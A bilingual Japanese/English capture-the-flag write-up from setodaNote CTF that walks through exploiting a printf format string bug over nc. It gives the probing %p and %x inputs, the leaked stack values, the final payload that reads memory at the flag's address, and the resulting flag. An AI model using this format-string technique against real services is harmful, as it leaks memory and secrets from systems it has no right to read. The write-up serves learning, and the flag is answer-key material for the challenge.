1989

IPv4アドレスとポート番号、そしてブラウザ上でLinuxのターミナルが使えるサービスのURLが与えられた。

このターミナル上でncコマンドを用いて指定のIPv4アドレスとポート番号に接続すると、 flagの場所が16進数で表示され、入力を求められた。
適当な文字列を入力すると、その文字列が出力された。
さらに、%を含む文字列を入力すると、printfの書式として解釈されるようだった。

そこで、以下の入力を入れてみた。

An IPv4 address and a port number, and an URL of a service where we can use a Linux terminal on a Web browser was given.

I connected to the specified IPv4 address and the port number via nc command on the terminal. Then, the place of "flag" is displayed in hexadecimal and I was asked to enter some input.
I entered some string, and the string was printed.
Also, I found that entering strings that contain % results in the string interpreted as the format specifier for the function printf.

Seeing this, I tried entering this input:

%p %p %p %p %p

すると、以下の出力がされ、この環境ではポインタは32ビットっぽいことが読み取れた。

As a result, this output was produced and I found that pointers in the environment seems 32-bit long.

0xff9fe180 0xff9fe588 0x5660f306 0x25207025 0x70252070

また、以下の入力を入れてみた。

Also I tried entering this input.

%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

すると、以下の出力がされ、4番目以降のデータとして入力した文字列が使われることが読み取れた。

It resulted in this output being produced, and I found that the string entered is used as the data for the 4th formatting and later.

ff992770 ff992b78 565c0306 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 782520 0 f7fc4278

そこで、まず出力されるflagの位置がASCII印字可能文字で表せるようになるまで、接続をし直した。
そして、flagの位置が0x565d2060となったとき、以下の入力を入れた。

Seeing this, I reconnected to the server until the place of "flag" displayed becomes able to express using only ASCII printable characters.
Then, seeing the place of "flag" being 0x565d2060, I entered this input:

` ]V %x %x %x %s

すると、以下の出力がされ、flagが得られた。

As a result, this output was produced and I obtained the flag.

` ]V ffcb02b0 ffcb06b8 565cf306 flag{Homenum_Revelio_1989}
flag{Homenum_Revelio_1989}

setodaNote CTF